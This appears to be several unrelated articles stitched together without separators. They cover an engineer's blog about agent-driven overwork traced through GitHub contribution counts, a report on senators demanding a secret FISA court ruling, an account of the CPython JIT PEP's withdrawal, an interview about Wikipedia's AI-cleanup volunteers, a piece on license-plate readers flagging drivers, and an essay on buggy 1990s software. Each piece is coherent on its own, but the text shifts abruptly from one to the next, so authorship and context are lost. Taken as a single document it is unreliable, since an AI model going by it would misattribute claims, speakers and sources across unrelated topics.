The pitch was that AI would give us our time back. Write less boilerplate, delegate the boring parts, go home earlier.

I am not complaining about the tools. I use agents for all of my engineering work now, and I wrote about how that setup evolved and why I still read the code. I can investigate and ship things that would not have been worth starting two years ago.

But somewhere this year I noticed that I am working more than I ever have, and that it feels heavier than it used to. Not because any single task is harder. Because there are so many more of them, all at once.

This post is me trying to understand that, with some data from my own GitHub history.

The old load and the new load

As a full-stack engineer, a normal week for me meant two or three serious tasks. A feature, a tricky bug, maybe a migration. Each one needed real focus, but I could hold one of them in my head at a time, finish it, and move to the next.

Today my week looks completely different. I have several agents running in parallel: one implementing a change, one investigating a production question, one working through a review, another doing research I will need later. None of them needs me all the time. Every one of them needs me sometimes.

That “sometimes” is the problem.

Each agent eventually comes back with a question, a plan to approve, a diff to read or a result to make sense of. Responding means switching contexts: reloading a different problem, a different repository and a different set of decisions.

Two or three serious tasks a week was tiring in a familiar way. Working with many agents is tiring in a new way. My attention is spread across more problems, and I find moving between them much more mentally draining.

What my GitHub history shows

I pulled my GitHub contribution calendar for every month from January 2019 to today and marked my roles at Bold.org, which I joined in January 2020: Full Stack Engineer until August 2022, Principal Engineer until August 2025, and Vice President of Technology since then. These are GitHub’s contribution counts, including private work, so they mix commits, pull requests, reviews and issues. It is a rough signal of activity, not a measure of value. 2019 is an incomplete baseline: my job before Bold.org used a self-hosted GitLab, so GitHub only shows what I did outside it. But the shape is hard to ignore.

The first part of the curve is what I expected:

• My busiest coding years at Bold.org were the early ones. 2020 was my highest year, with 2,711 contributions. 2021 dropped to 1,839 and 2022 to 1,498.
• The Principal Engineer years were flat and lower. From August 2022 to July 2025 I averaged 114 contributions a month, against 173 as a Full Stack Engineer. My lowest year was 2023, with 1,189.
• The first months as VP of Technology looked the same. From August to December 2025 I averaged 111 a month, and December 2025 was my quietest month since joining Bold.org, with 50.

As a Principal Engineer, more of my work went into architecture, deep dives into concepts, setting up projects and planning, rather than fixing bugs or iterating on features. Becoming VP of Technology continued that shift, with even less feature work expected. At least until AI came along.

Then 2026 happened:

• I am back at my Full Stack Engineer pace. By October 27 I am at 2,102 contributions, already more than any full year from 2021 to 2025. Over the same period in 2020 I had 2,371, so 2026 is close to my busiest year but not above it.
• August 2026 is the busiest month in the whole timeline. 427 contributions, against a previous high of 319 in April 2020.
• My normal day moved back up. The median weekday was 3 or 4 contributions every year from 2022 to 2025. In 2026 it is 7, close to the 8 I had in 2020.
• Fewer weekdays without GitHub activity. Through October 27, I had 18 weekdays with zero contributions, compared with 40–46 across each full year from 2022 to 2025. These are days without recorded GitHub activity, not days off work.
• Heavy days became routine again. From 2022 to 2025 I had exactly one day per year with 24 or more contributions. In 2026 I already have 16, almost the 17 I had in all of 2020.

Almost all of this is private work. The dashed line in the chart is public contributions only: it was near zero from 2021 to 2025 and came back this year, with 191 so far, but that is still less than a tenth of 2026.

The twist is the role. In 2020 I was a full-stack engineer doing feature work full time, and this is roughly what that looked like on GitHub. Today I lead engineering at Bold.org and do far less feature work than I used to. On paper my graph should look like my Principal Engineer years, or lower. Instead it is back where it was when writing code was my whole job.

What changed is how much work feels worth taking on. When coding is cheap, I can fix bugs I would previously have left alone, improve patterns across the codebase, take on new projects and turn more ideas into something real. Much of this is work I would never have considered before. Agents did not just make my existing workload faster to finish. They made it easy to give myself a much bigger one.

Bursts, then burnout

Looking at the monthly totals, 2026 is not one steady climb. It is a series of bursts.

January and February were the first clear burst, with 277 and 233 contributions. This is when I started working seriously with agents, and when the observability experiment that became our internal company agent took off. Every week revealed something new I could suddenly delegate, and I wanted to try all of it.

March to June generally winds down, from 203 contributions in March to 77 in June. But April was a smaller burst along the way, another month when I had ideas and acted on them. I think improvements in the models were part of that renewed energy. Its monthly total of 187 is below January to March, but it includes a 29-contribution day and 68 public contributions, my highest public total of the year.

August is the biggest burst of all. Coming back from my summer break, the calendar shows a full week of zero contributions in early August. Then every weekday from August 10 to August 27 was between 14 and 43. August ended at 427 contributions, the busiest month in the whole timeline. September stayed high at 301.

Every cycle starts the same way. A new model or a new workflow makes something possible that was not possible last month, and my head fills with ideas. Because implementation is now cheap, there is no natural friction stopping me from pursuing all of them at once. So I do. I start more agents, open more threads and say yes to more experiments.

That works for a few weeks. Then the reviewing and context switching catch up with me, and I pull back to a more stable flow. I stay there until something exciting comes along, or until a holiday recharges me enough that I go straight back into another burst.

I count three of these cycles since January.

At the end of a burst, I feel tired of AI. I do not want to start another agent or think of more ideas. I do my normal work, but I stop chasing the extra projects and possibilities because I do not have the mental bandwidth for them.

The low season is not low anymore

The part that surprised me most is not the peaks. It is how much I am doing between them.

March did not feel like the bursts in January, February or August, but I was still doing substantial work. It had 203 contributions, against my Principal Engineer average of 114 a month. I was still acting on ideas, but that level of activity no longer felt like an exceptional push. Even when I think I am taking it easy, there are still agent results to work through, reviews to finish and small things that are now “just a quick prompt”.

June was genuinely low, with 77 contributions, comparable to my quieter Principal Engineer months. Maybe that was when all the tiredness caught up with me. Not every quiet month is higher than before. But outside the bursts, I still find myself taking on more work than I used to. That is what I mean by the low season not feeling low anymore.

Where that leaves me

AI made room for work I would never have considered before. I like being able to fix more things and turn more ideas into something real. But the capacity to implement those ideas has grown much faster than my capacity to think about them. Eventually I stop wanting to start another agent and go back to just doing my normal work. I have not figured out a balance. For now, I am noticing that being able to do more keeps turning into doing more. And I am tired.

A note on how this article was written: AI helped me pull and analyze my GitHub contribution data, build the chart and draft this article. The experience, decisions and opinions are mine.

Two US senators say the Trump administration is breaking the law by withholding the FISA court decision while it presses Congress to renew America’s most sweeping surveillance program.

Photo-Illustration: Jobanny Cabrera; Getty Images

Two Democratic senators who have long overseen US intelligence say the Trump administration is illegally withholding a secret court’s findings from Congress until lawmakers renew a program that lets federal agents read Americans’ communications without a warrant.

Seven months ago, the Foreign Intelligence Surveillance Court objected to search filters that let intelligence analysts pull Americans’ messages from intercepted data without the approvals, written justifications, or records the law requires. The court approved another year of surveillance anyway. The ruling has never been made public, and Senators Ron Wyden of Oregon and Adam Schiff of California say the administration’s own deadline for releasing it passed in September.

The program, Section 702 of the Foreign Intelligence Surveillance Act (FISA), lapsed in June after Congress failed to renew it, though collection continues under the court’s March approval. The administration’s own public documentation says rulings like this one are reviewed for public release “within 180 days of issuance.” That window closed September 13, even as intelligence officials press lawmakers to reauthorize the program by the end of the year.

Wyden, the longest-serving member of the Senate Intelligence Committee, and Schiff, the former chair of its House counterpart, say the administration owes Congress an explanation for the delay, and the names of the officials responsible, by November 6.

“If this administration won’t follow this simple statutory directive,” the senators told Director of National Intelligence Jay Clayton and Attorney General Todd Blanche in a demand letter obtained exclusively by WIRED, “it is unclear why Congress or the American people should trust this administration to follow any of the other legal limits to Section 702.”

Outside Congress, Demand Progress and 22 other civil liberties and government accountability groups on Monday urged congressional leaders to refuse to reauthorize Section 702 “while the administration actively withholds legally mandated information about how the surveillance program operates.” Signatories range from the American Civil Liberties Union to the conservative-backed Project for Privacy and Surveillance Accountability.

The Trump administration has already been pressed, and has promised, to release the ruling. In April, senators Tom Cotton and Mark Warner, the Intelligence Committee’s Republican chair and Democratic vice chair, pressed the administration to release it within 15 days so it could inform the Senate’s debate. In July, asked in writing whether he would commit to declassifying it by the 180-day deadline, Blanche replied, “Yes.”

Warner “has been clear that he supports transparency with regard to Section 702,” his communications director, Rachel Cohen, tells WIRED. Neither former director of national intelligence Tulsi Gabbard nor Bill Pulte, who briefly replaced her as acting director, “were responsive,” Cohen says, “but Senator Warner expects that DNI Clayton will declassify the opinion, consistent with the bipartisan letter and as required by law.”

Cotton’s office did not respond to a request for comment. The White House, the Office of the Director of National Intelligence, and the US Justice Department did not answer questions WIRED sent Friday about the delay.

Clayton, who is legally responsible as director of national intelligence for declassifying the ruling, has made no such promise. Asked before his July confirmation whether he would ensure the opinion was public before Congress voted on reauthorization, he wrote only that the government was “working arduously to expeditiously declassify” it and had made the full opinion available to lawmakers.

Some of what the court found is already known. A FISA court opinion declassified last year described a similar FBI tool, a “participants filter” that let agents select people in contact with surveillance targets and read their messages. In February 2025, the Justice Department’s National Security Division told the court the tool had been running searches no one counted. The FBI shut it off the next month and switched it back on later that year, after the department approved a rebuilt version.

This year’s ruling went beyond that. The court found that tools agencies use to narrow intercepted data to an American’s messages amount to searches of Americans, subject to the same limits, and ordered them rebuilt, The New York Times reported in April, citing unclassified administration talking points sent to lawmakers. Senator Alex Padilla said in a written question to Blanche that the Justice Department “is appealing portions” of the ruling “limiting the government’s use of certain filtering tools.”

While the ruling stayed secret, seven intelligence agency fact sheets from March 2026, one dated the day of the ruling, cited a 98.9 percent compliance rate for FBI searches of Americans and credited Section 702 with stopping a planned terrorist attack on a Taylor Swift concert in Vienna. None mentions the court’s findings. The figure appears nowhere in the Justice Department inspector general’s October 2025 review of those searches, which put the compliance rate at 98.6 percent and could not conclude that “the FBI’s querying compliance issues are entirely in the past.”

According to the fact sheets, FBI auditors review every such search. FBI director Kash Patel closed the bureau’s Office of Internal Auditing last May and moved its auditors into another division. The bureau’s search counts before 2025 also omit queries run through the participants filter, searches the government’s own privacy watchdog says are “not possible to track.”

Lawmakers who have read the ruling hint that it says more. Senator Dick Durbin, the top Democrat on the Judiciary Committee, urged colleagues on the Senate floor in June to read it in a secure room. “I have seen it,” he said. Once they did, he told them, “your opinion of the role of FISA and the rights of Americans will be impacted for sure.”

Wyden has also warned about a classified interpretation of Section 702 that he says multiple administrations have relied on and refused to declassify. “When it is eventually declassified,” he said in March, “the American people are going to be stunned that it took so long and that Congress had been debating this authority with insufficient information.”

The Trump administration has until November 6 to answer the senators. The court’s current approval of the program expires in March.

Surveillance reform advocates say the administration may try to avoid that fight by attaching a renewal to the annual defense authorization bill, which Congress usually finalizes in December. In 2023, lawmakers extended Section 702 for four months through that year’s defense bill after a Senate effort to strip the provision failed. This year’s House and Senate versions of the bill do not yet include it.

Python's experimental just-in-time (JIT) compiler, which was added to CPython in 2024 for the 3.13 release, is on its way out. In June, the Python steering council announced that it was pausing work on the JIT in CPython's main branch until there was an accepted Python Enhancement Proposal (PEP) that addressed concerns about maintenance, compatibility, and set clear success metrics as well as a timeline for completion. After creating PEP 836 ("JIT Go Brrr: The Path to a Supported JIT Compiler for CPython") to try to meet the council's request, and after months of discussion, the JIT maintainers have withdrawn the PEP. For now, it appears that development on the once-promising project has come to an end.

The JIT was added to CPython by Brandt Bucher in early 2024. Generally, such a major feature would be expected to land only after the council had approved a standards-track PEP. Bucher had given a talk (YouTube video, slides) about the JIT at a Python core developer sprint, and announced his intent to merge the feature—but he had not taken the step of authoring or submitting a PEP for its approval. He was prodded into doing so by steering council member Thomas Wouters, who was also serving as the release manager for Python 3.13.

Bucher and Savannah Ostrowski drafted PEP 744 ("JIT Compilation"), which was an informational PEP—meaning it only provides information to the Python community and does not represent formal consensus to proceed on a feature or project. LWN covered the discussion of PEP 744 in April 2024, and later covered Bucher's talk on the JIT at PyCon US 2024, as well as the follow-up talk at PyCon US 2025.

PEP it up

Work on the JIT had been proceeding on the basis of PEP 744 until this June, when the council had put forward its formal request for the JIT maintainers to create a standards-track PEP. One might wonder, as Antoine Pitrou did, why the council had decided that it was time to speak up and ask for a new PEP. Wouters said that there was no "single triggering event for this request", but that the council had been discussing the topic for a while and indicated that it was looking to ensure the JIT work did not interfere with other projects. "There's been work trying to get the JIT to play nice with instrumentation, debugging, and profiling. There's also external JITs (like CinderX), JIT-adjacent things (like Numba and PyTorch's compile), and discussions about a tier 3 JIT." The council had waited until after the Python 3.15 beta release "to be clear that we're OK with the status quo for 3.15".

The council asked for a PEP that would make the case for the JIT "as a supported, non-experimental part of CPython: its guarantees, its maintenance commitments, and its impact on redistributors". The council set a deadline of six months for the PEP to be submitted and accepted; failing that, the council would require the JIT code to be removed from the CPython main branch.

Bucher, Ostrowski, and Ken Jin drafted PEP 836 and published it on the Python forum for community feedback on July 3. It generated quite a bit of discussion, some favorable and some critical. One of the key themes in the comments, such as this one by Wouters, and this comment by Mark Shannon, was that the draft felt like it should be two separate PEPs. Shannon, for example, thought that the PEP should only cover goals for accepting the JIT work and felt that it should leave out implementation details. There were also quite a few calls for additional information.

Bucher pushed back a bit on the suggestion that it should be two PEPs, and Ostrowski defended the structure of the PEP as it was. "Outlining goals like we have in the PEP without being able to share the plan and everything we've thought through alongside it would make me uncomfortable. To me, goals without plans behind them aren't really goals at all."

When we last looked at this topic in September, the discussion about the PEP had slowed down without a commitment to develop new PEPs or a formal statement from the council. The last word from the council at that time, in the form of a summary of its August 6 meeting, was that it had met with the PEP authors and was "discussing the state of the PEP and whether it answered the questions the SC asked in its request for a PEP".

Experimentation in main

On September 21, Wouters posted a statement from the steering council, minus Ostrowski (who is currently a member of the steering council but did not participate since she is a co-author of the PEP), that summarized its position. The statement said that PEP did answer all of the questions that were highlighted in the council's request, "although perhaps some less convincingly than others".

The council wished to make clear that it was not looking for the criteria that the JIT should meet to be a supported feature, or whether it should be considered such. Instead, the council was evaluating whether the JIT should continue as an experiment in CPython's main branch.

Part of the problem with allowing experimentation in main is the lack of unified design, and the uncertainty that core developers, package maintainers and users face as the experimentation changes behaviours and API surfaces.

The council said that the PEP was not specific enough about support plans, performance criteria, and too vague or too optimistic about a number of other areas. The statement included a ten-point list of items that the council wanted "to see either spelled out in the PEP, or at least discussed and rejected". The council's list expressed concerns ranging from memory impact to security. For example, on the topic of platform parity, the council wanted to ensure that the JIT was designed to be easily adopted for new platforms. It wanted assurance that the JIT's design would not be tied to specific platform or require platform-specific knowledge to maintain.

Another area that the council called out was user impact. It said that the PEP was "overly optimistic" about user-visible differences with the JIT enabled. There were many cases where users depend on idiosyncrasies in the interpreter design, "as we've seen with other Python implementations or even just between major Python versions", and it wanted clarification on how those differences would be handled. Would they be considered bugs, how would situations be handled if a difference in behavior was unavoidable, and so on.

Security was "an underserved area in the PEP", according to the council; it suggested that a discussion with the Python security response team was in order and that a security review should be part of the criteria for supported status as well.

PEP 836 specified a compatibility review milestone to correspond with the first Python 3.17 release candidate—which would be expected sometime in August 2028—that would involve running the test suites of the top PyPI packages to see if the JIT broke them. The council wanted that timeline moved up significantly. "We think that's way, way too late, and the compatibility review should be an ongoing and continuous process starting as soon as possible".

The council also worried about the JIT's design decisions being made "without critical review by the larger group of developers ultimately responsible for [CPython] development, maintenance and support". The bottom line, it said, was that PEP 836 "mostly answers the questions we asked" with no missing pieces, but it wanted more discussion on those topics so it could "gauge community support and consensus before we're asked to pronounce on this PEP".

Jin replied a few days later to thank the council for its detailed feedback and said that the group would work on its suggestions.

Withdrawn

After some consideration, it appears, the PEP's authors have decided not to continue pursing the council's approval. On October 19, Ostrowski (who is also release manager for Python 3.16 and 3.17) announced that the PEP was being withdrawn:

The Steering Council rightly sets a high bar for a proposal of this scope, and we don't feel we have the personal bandwidth to carry the current version forward. We continue to believe in the technical direction outlined in the PEP, including free-threaded support and a method-based frontend, and remain optimistic about the JIT's potential in CPython. We'll make the reference implementation available and link it from the withdrawn PEP so others who are interested can explore and build on that.

Barry Scott asked if that meant that work on the JIT was stopped. Brett Cannon replied that the work would be stopped in the main repository, but it would be up to the community whether the work would continue elsewhere. Dunc Graham suggested that there might be time for an alternative PEP to be submitted before the council's deadline. Cannon said that was not likely, "as all the people actively driving the JIT were either authors on that PEP or contributors to it".

With the PEP withdrawn, the JIT will likely be removed from CPython main fairly soon to ensure that any problems caused by its removal can be addressed early in the Python 3.16 development cycle. It is unclear whether the original drivers of the JIT work intend to continue working on it at all, or if it will simply be left for others to pick up if there is enough community interest. I have emailed the PEP authors for clarification, but have not yet received a reply.

AI-generated text is harder to spot, but that hasn’t deterred them

Ellia Lebleu is a cofounder of the WikiProject AI Cleanup effort to keep Wikipedia human-written.

Ellia Lebleu is a founding member of the WikiProject AI Cleanup, a volunteer effort launched in 2023 to find and remove AI-generated material from Wikipedia that breaks the website’s guidelines. When the cleanup began, AI writing was often betrayed by conspicuous clichés. Today, the project’s volunteers are developing tools to detect subtler forms of machine-generated content and debating AI’s role in the world’s most widely used encyclopedia.

When did you realize Wikipedia had a problem with AI-generated material?

Ellia Lebleu: It was around December 2023. A few other editors and I were chatting on Wikipedia’s Discord server, and we had all seen very strange articles with the same odd characteristics. They repeated phrases like “stands as a testament” or “rich cultural heritage.” They sometimes had conclusion sections, or sections called “Why is this important?” That was very typical of ChatGPT in 2023 and early 2024 but very odd for Wikipedia articles—and very easy to spot. Then I decided, let’s create an official project on Wikipedia so more people can deal with this.

Ellia Lebleu

Ellia Lebleu is a founding member of the WikiProject AI Cleanup. Lebleu is pursuing a Ph.D. in AI at the Inria Center of the University of Rennes, part of France’s national research institute for digital science and technology.

How do editors spot AI-generated writing today?

Lebleu: By 2025, the signs of AI writing were becoming subtler and more structural. For example, AI loves the “rule of three,” negative parallelisms, and other structures of speech that aren’t conclusive by themselves but become meaningful as they accumulate. We also look beyond the article. If someone writes five articles of thousands of words each in 5 minutes, there is reason to suspect AI.

Does the AI problem just appear in the main text, or also in citations?

Lebleu: Fake or misleading citations have become a major worry. Sometimes an AI hallucinates a citation entirely, although that’s much rarer today because of retrieval-augmented generation that allows the AI to find sources. More often, it finds a real source but gets its content completely wrong. AI citations that don’t actually support what is being written are extremely commonplace.

English Wikipedia recently prohibited editors from using LLMs to generate articles. How much AI-generated content is still getting through?

Lebleu: I’ve been working with [AI-detection company] Pangram to estimate the proportion of AI-generated content. I tested it on Wikipedia content from before ChatGPT and found no false positives, so its results provide a very conservative lower bound. In late 2025, it flagged perhaps 20 percent of new articles and drafts as AI-generated. In early 2026, that went down to 15 or 16 percent. But we don’t yet know whether that’s because our recent policies have had an effect or because models are getting more powerful and Pangram hasn’t had time to adapt.

Is Wikipedia using AI to combat AI?

Lebleu: Another Wikipedia editor has made an AI source verifier, which goes through the sources on a page and checks whether they match the claims. Since it is itself an AI model, there is no guarantee that it will be correct every time. But if you want something that works at scale and filters out obvious cases, it’s a good first step. The Wikimedia Foundation is also working on a tool called Paste Check, which can flag text pasted directly from some AI chatbots.

And we’ve seen Claude sometimes say, “I can’t write a Wikipedia article; it would go against Wikipedia’s policies.” If all major AI companies implemented that kind of prompt refusal, it wouldn’t solve the problem entirely, because there are still open-weight models that can be tweaked to avoid restrictions. But it would help with people who use commercial models and aren’t especially familiar with the technology.

Can you tell if the rule prohibiting AI writing is working?

Lebleu: It’s still a little early to tell. We see possible effects, such as prompt refusal and the apparent slight drop in AI-generated content. But again, we don’t yet know if that is because models are getting better or because beginners are learning the rules. The vast majority of AI-generated content is submitted by beginner editors, so we’ve made many efforts to make the rule very visible in welcome messages, editing help, and advice.

What if AI becomes capable of writing truly reliable Wikipedia articles?

Lebleu: That’s one of the big questions we’re facing. When the guideline was passed, it was for very practical reasons: We were flooded with AI content, we didn’t have good tools, and we needed to put a stop to it. But since then, it has taken on a more philosophical dimension. Many people have called Wikipedia “the last good place on the internet.” Being a place that was, in theory, free from AI slop has become part of Wikipedia’s identity.

A lot of Wikipedia’s communication is now centered on the idea that we’re a human-written encyclopedia. Even AI companies find that interesting. It can be valuable to have a purely human-written corpus on which to [train] AI systems. The fact that Wikipedia is still that, and will remain that for at least the near future, makes it a precious resource that isn’t replicated anywhere else.

But will the people who read and contribute to Wikipedia want it to become partially AI-generated if that makes it more comprehensive? We could preserve Wikipedia’s identity as a human-written corpus while also offering an AI-assisted option.

Has Wikipedia reckoned with the idea of “Google Zero”—a possible future in which websites no longer get traffic from Google search?

Lebleu: If everything goes through AI search and websites plummet to zero visibility, how do we expose Wikipedia and show that it can be edited and that people can still contribute? Wikipedia is frequently cited in [Google’s] AI Overviews, but users may only see an AI answer citing Wikipedia. They may not realize that Wikipedia is a living project they can edit and contribute to.

The Wikimedia Foundation is working on an attribution framework that could give AI users more information about the article [being cited]: when it was last edited, how comprehensive it is, whether editors have flagged problems, and perhaps even a call to action. In the future, readers might even contribute through AI models: “The AI cited Wikipedia, but there seems to be an error. Can I make an edit request and add this other source I found?”

I can see a very strong symbiotic relationship between Wikipedia and AI models in the future. I don’t see Wikipedia disappearing, but I can see it taking a very different shape. Yesterday, AI was something to clean up. Today, it’s a tool to help us with the cleanup. Tomorrow, it will be the air we breathe.

Automated license plate readers (ALPRs) aren’t just helping police investigate crimes anymore. They’re now being used to flag drivers for supposedly “suspicious” driving patterns.

The American Civil Liberties Union (ACLU) sounded the alarm Monday in a blog post on Monday, warning that law enforcement agencies across the United States are increasingly using license plate readers and AI-powered tools to pull over drivers even if they aren’t suspected of having committed a specific crime.

The post opens with the story of Grace Knowles, a woman in her 20s from northern Virginia who took a road trip through Oregon, Texas, and Louisiana in September 2025. On her way to Florida, she was pulled over by an officer who claimed she had spent too much time driving in the left lane.

The officer questioned Knowles about her travels and asked for proof that she had been in New Orleans. He eventually identified himself as a special agent with the Federal Bureau of Investigation (FBI) that was on a project for human and drug trafficking. He told her that her license plate had been flagged for suspicious travel patterns.

After she convinced him she was just on a road trip, he offered to show her what he was looking at on a computer in his car.

“It was basically a heat map of the U.S., and I could see different circles where I’d been, and when he clicked on it, it was a photo of my license plate,” Knowles told the ACLU.

When she asked how authorities had collected images of her license plate, the officer told her the cameras were everywhere, including on top of highway signs.

The ACLU warns that encounters like Knowles’ could become more common.

“For many people, those encounters will be far more fraught, frightening and dangerous than what Knowles experienced,” wrote Jay Stanley, a senior policy analyst with the ACLU.

ALPRs facing growing pushback nationwide

The warning comes as ALPRs are already facing growing backlash.

Companies like Flock Safety and Axon have become known in recent years for selling ALPR systems to law enforcement, which scan license plates as vehicles pass, collecting vehicle information along with the time and location they were spotted. Police can then search that data during investigations.

Privacy advocates, however, warn that the cameras collect location data on millions of people who are not suspected of crimes, often without a warrant, probable cause, or reasonable suspicion. There have also been reports of the systems leading to mistakes and rampant misuse by law enforcement.

An August YouGov survey found that 46% of respondents opposed law enforcement using the technology in their communities, while 38% supported it.

Law enforcement agencies around the country, including the Los Angeles Police Department, have suspended or even ended their Flock contracts amid the growing backlash.

Knowles’ story is far from the only case raising concerns about how police are using license plate data.

In March, The Markup reported that a California grandmother was questioned by U.S. Customs and Border Protection (CPB) officers about how often she visited local casinos. In another case, a man was targeted for a traffic stop after repeatedly driving back and forth between Wisconsin and Michigan, which local police described as “a known source State for Marijuana.”

Earlier this month, a federal jury in Texas sided with a man who sued over what his attorneys described as an “unconstitutional traffic stop scheme” enabled by “AI-powered” license plate readers. According to the lawsuit, he was pulled over after his license plate was flagged for driving from Houston to Carrizo Springs, staying overnight, and returning home the following day.

Meanwhile, WIRED reported this month that Flock had developed an AI-powered investigative tool that “can identify drivers and track vehicles by their patterns of movement alone.”

Flock did not immediately respond to a request for comment.

Software is degrading all around us, for obvious reasons. I've written about this before. All else equal, if you increase your code production by 10x but you don't reduce your error rate by a factor of 10, then your production app is buggier than it used to be.

I've seen threads where people also have some nostalgia for the past: "software used to be better in the past" or "we've forgotten how to program like we used to" or "software quality has been declining for decades." And as someone who has used computers since 1990, I'm here to disabuse you of this notion. Software was horrible. Everything crashed all the time. Yes, there were great programmers like John Carmack who could keep the entire program in their head and iterate on thoughtful codebases over decades. No, they did not write a majority of the software that we used to use.

Historical context

Almost everyone in the world was on Windows. Windows peaked around a 95% market share, plus or minus a few percentage points based on your source. Yes, you probably knew someone with an iMac who would tell you that it was way better than a Windows machine, and they could prove it if anyone ever actually released applications for Macs. And yes, there were Linux distros like Debian where people could get real computing done[0].

But those were exceptions. Almost every computer user had a Windows machine and either an Intel or an AMD processor. And Windows had a lot of problems.

There was one saving grace though: companies only got one chance to ship their software. At a certain point, it was going to be loaded onto a floppy disk or burned onto a CD or a ROM, put into a box, and mailed out. And that version had to work out of the box. So there was some quality floor that you couldn't slip below.

How bad did it get?

Here's a collection of things that I remember. This isn't linear; it's my collection of memories from 1990 and onward.

Blue Screen of Death

Windows had extreme stability issues for most of my childhood.

Let me introduce you to the song of my people, the Blue Screen of Death.

The blue screen of death in Windows XP, Vista and 7, courtesy of Wikipedia

This was Windows' version of a kernel panic. It happened right when you were in the middle of something. Or maybe you were doing nothing. It didn't matter: the blue screen was coming.

Your computer crashed for a lot of reasons. First, device drivers. If you bought some new peripheral like a joystick, it'd come with a floppy disk or CD with device drivers. You'd dutifully install them. The device drivers had the same function as they do today: they help the operating system understand how to interface with the hardware. This might get you thinking, "Oh wow, so they sent out the device drivers on physical media? You can't update a physical disk once you ship it. Surely they took extra care to get everything right." My friend, this could not be further from the truth. I'm sure there were good drivers and bad drivers. But in aggregate, they were buggy, and it only took one marginal device driver to destabilize your computer.

The Windows operating system also had its own code quality issues back then, and would sometimes fail to fully reclaim resources from programs that exited. So your computer would slowly degrade over time until eventually the slow rot would take down your machine.

All in all, your computer would just blink out of existence from time to time. It was a fact of life.

Autosave

Do you know what pairs really well with a computer that crashes all the time? Applications that don't autosave. Even better, applications with autosave that don't flush buffered writes and corrupt their save files.

It was commonplace to get into the zone and work on a document for hours, and then suddenly you would get either a Blue Screen of Death, or a pop-up saying that your application had a problem and had to exit. And you'd scream and you'd double-click your document over and over, but it was no use. You had to start over. But there was a consolation prize. It was your turn to tell everyone, "I was working on a document for THREE HOURS! And then the computer crashed and I lost everything. It was all gone. I had to redo it." There was always that one asshole that was like "why didn't you save?" But you didn't get mad. You knew that he was 2 weeks from having the same thing happen to him.

When I joined the Google Docs team back in 2010, we instrumented the Ctrl+s keyboard shortcut for fun. It didn't do anything but record a metric saying that it had been pressed. This "save" keyboard shortcut was in the top 5 non-editing user actions, just behind things like "move the cursor with arrow keys." And it did absolutely nothing. Google Docs autosaves. But everyone was so traumatized from years or decades of losing work that they reflexively saved anytime they edited anything.

Nothing was secure

When my sister and I were little, we loved going into stores with display units. The computers would often have games installed you could play. Worst case, you could always open up MS Paint or Solitaire and mess around for a few minutes.

One time, we were in a store where the display models had password-protected screensavers. My sister was undeterred. She just hit Ctrl+Alt+Del, selected the screensaver application, and clicked "End Task." And we were in. The best minds of Microsoft were nothing next to the hacking talent of a 9-year-old.

And this is the level of security that your computer afforded you. If you used the Internet for long enough, your computer would start to collect a bunch of advertising malware. When you turned your computer on, you would start to see pop-ups and pop-unders with random ads, even when you weren't using browsers. So you'd do another antivirus scan, or later on you could visit websites that could also run the malware scans for you.

And not to mention the viruses that would drop the Internet to its knees once a year by doing trivial things like "adding a macro to a Word document that sends emails."

Disk fragmentation

Any techie can remember going to a nontechnical relative's house. In some dusty corner, they'd have an ancient Windows computer barely hanging on by a thread. It would literally take 20 minutes to turn on.

You'd sigh and say, "let me fix this for you."

You would open two programs. This would take about 5 minutes. The first program emptied cache files and the Recycle Bin. The second was Disk Defragmenter.

Your computer slowly became unusable if you never saw this window.

Back in the day, hard drives in Wintel boxes stored data with spinning magnetic platters. The hard drive had a retractable arm with a little magnetic reader, and it would read data by retracting the arm to the right position and then moving the disk to the start of a sector.

But of course, as you add more and more files, the game of Tetris doesn't work, and the rest of your file doesn't neatly fit onto the disk before the next file's record begins. So your file would end up in two (or more) places on the hard drive. This was called fragmentation. A little bit of fragmentation was unavoidable, but if more and more files became fragmented then your computer became slower and slower until eventually Grandpa's computer took 20 minutes to start.

Many modern filesystems, Windows' included, automatically handle defragmentation in the background nowadays. But Windows did not back then. You needed to periodically manually start the defragmentation process yourself.

By the time I got into college, I discovered that Windows had a scheduler and could run Disk Defragmenter whenever I wanted, so I just left my computer on all the time and let it defragment at 5 in the morning.

Phenomenal cosmic power, itty bitty memory

Applications were heavily memory constrained, so programmers tried to save bits and bytes everywhere.

This should have been invisible to me, but it wasn't.

At one point I had a crappy video game version of Axis and Allies for the PC, released in 1998[1]. Imagine Risk but World War 2. And the AI was really bad, and could generally be beaten easily. But the game had a major flaw: If a country had more than 255 units, the whole game would crash. And naturally the AI also loved to turtle, so it was common for the AI to have a territory with over a hundred units that was impossible to wear down. So because of this programming choice, the game was a race to wipe out the enemy before it could force a stalemate by crashing the game.

This kind of thing happened all the time. During my first programming class in my freshman year of high school, one of our lessons was effectively, "here's why you all recognize numbers like 128, 256, and maybe 65536."

Software came on unreliable physical media

Even if the software worked perfectly, you might scratch your game CD and lose the ability to play it. Then you'd start asking your friends if anyone had a spare copy of Red Alert or something, just so that you could finally finish the single-player campaign.

This wasn't unique to CDs. Anything physical could degrade. My half-brother had a NES game called Dragon Warrior or something, but the cartridge was corrupted and there was no way to leave the first room. And even if you kept all of your games in good condition, the contacts inside of the NES that connected the cartridge to the console could rust and fail. This kind of thing happened all the time.

"But Jake, that's hardware and not software." All I'm saying is that your software was fragile and it needed to be protected and preserved. It's not like you had the option for a physical disk or the online install and you chose the disk. By the nature of distribution, the software itself would degrade and rot away from you.

Online games assumed good behavior

One of the earliest online games I played was Diablo II, which means that I have seen the true heart of darkness inside of humanity.

Online games have a strange problem: gamers often don't want to be together. They just happen to cohabitate a space. And Diablo II had a lot of design features that lent themselves to chaos:

• There were rampant client-side hacks. In PVP servers, people would use hacks to e.g. fire tracking arrows far beyond the range that they should have been able to.

• All item drops were equally available to everyone in the server. That means when you got close to killing an act boss, you and your party would transition from allies to rivals and spam click when the boss finally popped.

• If you had a corpse on the ground and died again, you'd lose everything you had equipped. People would try to force you to have a full inventory by dropping a bunch of cheap items onto your corpse, hoping that you'd accidentally pick up common items before picking up your corpse. Then you'd try to pick up your corpse. You'd only pick up some of the items. Then they'd kill you a second time and you'd lose everything that you managed to pick up.

• The game had a lot of item duping glitches. As you can imagine, this ruined the in-game economy since it became dominated by the duped items. And it enabled a lot of scams. They'd pretend that they just duped an item, and they'd wait for someone to ask how they did it. Then they'd walk the user through step-by-step, but one step would involve dropping your item on the ground and then the scammer would pick up the item.

• There was no guild system, but people still ran guilds. This means that there was no trusted way to identify guaranteed friendlies.

